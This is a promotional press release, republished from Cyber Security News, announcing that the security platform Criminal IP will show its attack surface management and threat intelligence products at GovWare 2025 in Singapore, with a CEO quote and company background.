      Criminal IP is a security platform that combines AI-based detection technology with OSINT-based data collection capabilities and currently serves users in over 150 countries worldwide.

      Notably, it integrates Attack Surface Management (ASM) and Cyber Threat Intelligence (CTI) to help organizations detect exposed external assets and proactively respond to threats linked to actual attack vectors.

      Connect with the Criminal IP Team

      At GovWare 2025, CEO Byungtak Kang and the global business team will engage directly with international customers and industry leaders. Key sessions and discussions will focus on the following topics:

      • Real-world cyber threat response strategies
      • Latest security technology trends
      • Platform utilization

      The team will also host on-site meetings at Booth J30, with pre-booking available through the Knowledge Hub > Conference section of the Criminal IP website.

      In addition, attendees can participate in special giveaway events, including the official “Passport Event” organized by the conference host.

      “GovWare is one of the most significant cybersecurity events in Asia and provides a meaningful opportunity to showcase Criminal IP’s innovative technologies,” said Byungtak Kang, CEO of AI SPERA, the company behind Criminal IP.

      “We aim to demonstrate the strength of Korean cybersecurity innovation to global customers and partners while expanding our collaborative ecosystem worldwide.”

      About Criminal IP

      Criminal IP provides its Criminal IP ASM and CTI solutions to users in over 150 countries and has established technology alliances with more than 40 global security companies, including Cisco, Tenable, and Snowflake.

      In 2025, the company reinforced its international presence through consecutive appearances at RSAC 2025, Infosecurity Europe 2025, and Interop Tokyo 2025.

      Recently, the company has been expanding partnerships in key international markets, including the Middle East and Europe, positioning itself as a leading company in the global security ecosystem.

      Contact

      Michael Sena

      support@aispera.com

      The post Criminal IP to Showcase ASM and CTI Innovations at GovWare 2025 in Singapore appeared first on Cyber Security News.

      ¶¶¶¶¶

      ¶¶¶¶¶

      ¶¶¶¶¶

      ¶¶¶¶¶

      ¶¶¶¶¶